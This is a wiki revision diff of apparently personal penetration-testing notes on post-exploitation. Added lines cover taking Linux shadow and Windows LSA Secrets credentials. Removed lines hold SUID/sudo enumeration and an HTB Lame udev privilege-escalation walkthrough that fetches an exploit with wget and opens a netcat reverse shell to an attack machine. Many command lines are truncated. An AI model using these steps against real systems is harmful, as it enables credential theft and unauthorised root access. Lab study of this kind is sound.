method_5_post-exploitation
Differences
This shows you the differences between two versions of the page.
Both sides previous revisionPrevious revisionNext revision | Previous revision | ||
method_5_post-exploitation [2023/01/12 00:16] – gman | method_5_post-exploitation [2023/01/12 00:31] (current) – [First Thing] gman | ||
---|---|---|---|
Line 33: | Line 33: | ||
* Concealment | * Concealment | ||
* Retain Access | * Retain Access | ||
+ | |||
+ | ---- | ||
+ | |||
+ | ===== First Thing ===== | ||
+ | |||
+ | After you've compromised a system, one of the //**first things**// you want to try is acquiring the local credential store (passwords). | ||
+ | |||
+ | **Windows: | ||
+ | |||
+ | **Linux:** The '' | ||
+ | - '' | ||
+ | - '' | ||
+ | - '' | ||
+ | |||
+ | Linux passwords are usually found in ''/ | ||
+ | * You can simply copy that file to your attack machine and crack offline (if you have root). | ||
+ | * Therefore, priv esc is a key part of acquiring credentials. | ||
---- | ---- | ||
Line 88: | Line 105: | ||
* Check sudo: '' | * Check sudo: '' | ||
* You can also '' | * You can also '' | ||
- | |||
- | ---- | ||
- | |||
- | ====== Privilege Escalation ====== | ||
- | |||
- | ===== SUDO ===== | ||
- | |||
- | '' | ||
- | * It allows users to escalate their privileges based on settings in the ''/ | ||
- | * When the '' | ||
- | |||
- | Therefore, // | ||
- | * Figure out which accounts you want to target based on the rights they have. | ||
- | * Try to compromise accounts with sudo privilege. | ||
- | |||
- | One of the first commands you want to execute in order to abuse sudoer rights: '' | ||
- | * This will list (" | ||
- | * This shows you the user account names and privileges they have within the sudo environment. | ||
- | |||
- | ---- | ||
- | |||
- | ===== SUID ===== | ||
- | |||
- | **SUID:** Set User ID. **SGID:** Set Group ID | ||
- | * These are special bits of a file that tell Linux to run the executable as the owner (SUID) or as the group (SGID) of the file, not as the user who launched it. | ||
- | |||
- | To find all the files on a system that have the SUID bit set: | ||
- | |||
- | < | ||
- | find / -perm -4000 | ||
- | # or | ||
- | find / -perm /4000 | ||
- | |||
- | # To see all the details: | ||
- | find / -perm -u=s -type f 2>/ | ||
- | # or | ||
- | find / -user root -perm -4000 -exec ls -ldb {} \; | ||
- | # note: you need a space between {} and \; | ||
- | </ | ||
- | |||
- | ---- | ||
- | |||
- | ===== udevd ===== | ||
- | |||
- | If you get a user/daemon shell, you need to escalate your privileges to root. Check udevd... | ||
- | |||
- | [[https:// | ||
- | - Linux Kernel 4.8.0 UDEV < 232 - Local Privilege Escalation | ||
- | - Linux Kernel UDEV < 1.4.1 - ' | ||
- | - Linux Kernel 2.6 (Gentoo / Ubuntu 8.10/9.04) UDEV < 1.4.1 - Local Privilege Escalation (2) | ||
- | - Linux Kernel 2.6 (Debian 4.0 / Ubuntu / Gentoo) UDEV < 1.4.1 - Local Privilege Escalation (1) | ||
- | |||
- | [[https:// | ||
- | |||
- | On the target machine, see if udev is running: | ||
- | |||
- | < | ||
- | |||
- | On the target machine, check the version of udev; run: | ||
- | |||
- | < | ||
- | dkpg -l | grep udev | ||
- | # On HTB Lame I got version 117-8 | ||
- | </ | ||
- | |||
- | Google the udev version or do a '' | ||
- | |||
- | < | ||
- | -------------------------------------------------------- --------------------------------- | ||
- | | ||
- | -------------------------------------------------------- ---------------------- | ||
- | Linux Kernel 2.6 (Debian 4.0 / Ubuntu / Gentoo) UDEV < | linux/ | ||
- | Linux Kernel 2.6 (Gentoo / Ubuntu 8.10/9.04) UDEV < 1.4 | linux/ | ||
- | Linux Kernel 4.8.0 UDEV < 232 - Local Privilege Escalat | linux/ | ||
- | Linux Kernel UDEV < 1.4.1 - ' | ||
- | -------------------------------------------------------- ---------------------- | ||
- | </ | ||
- | |||
- | First, spin up a web server on hour Kali box (your attack machine, your machine) so we can move the exploit over onto the target box: | ||
- | |||
- | < | ||
- | |||
- | Copy the exploit file over to the web server subdir: | ||
- | |||
- | < | ||
- | |||
- | Check & Read: | ||
- | * cd into ''/ | ||
- | * The Usage section of the file (at the top, scroll down) will tell you how to use the exploit. | ||
- | * Pass the PID of the udevd netlink socket (listed in / | ||
- | * The exploit will execute ''/ | ||
- | |||
- | From your shell over on the target, in the /tmp directory, copy the file from your Kali attack machine onto the target machine using wget: | ||
- | |||
- | < | ||
- | |||
- | Build your run file on the target, in the /tmp directory. Remember, the /tmp/run file is being used as the payload for the udev exploit. So... build a text file... | ||
- | |||
- | < | ||
- | touch run | ||
- | echo '# | ||
- | echo '/ | ||
- | </ | ||
- | |||
- | When the udev exploit runs, it will execute netcat with the reverse shell going to my attack machine | ||
- | |||
- | You need to compile that .c file you copied to the target machine: | ||
- | |||
- | < | ||
- | |||
- | Set up the listener on your Kali (host/ | ||
- | |||
- | < | ||
- | |||
- | Now the listener is waiting for a connection on the Kali attack machine... | ||
- | |||
- | Run the udev exploit on the target using the netlink socket PID as argv[1]. This creates a reverse shell back to your Kali attack machine. | ||
- | |||
- | < | ||
- | |||
- | You should have a reverse shell on your Kali machine with root privileges on the target machine. Done. | ||
---- | ---- | ||
Line 337: | Line 233: | ||
===== Windoze ===== | ===== Windoze ===== | ||
+ | ==== LSA Secrets Registry ==== | ||
+ | |||
+ | The **LSA Secrets Registry** contains the password of the currently logged-in user in an encrypted form. | ||
+ | * You can find the LSA Secrets Registry here: '' | ||
+ | * You can find the encryption key to the user's password in the parent directory: '' | ||
+ | So, if you have admin access to the Windows Registry, you can recover the encrypted password and its key fairly easily. |
method_5_post-exploitation.1673482581.txt.gz · Last modified: by gman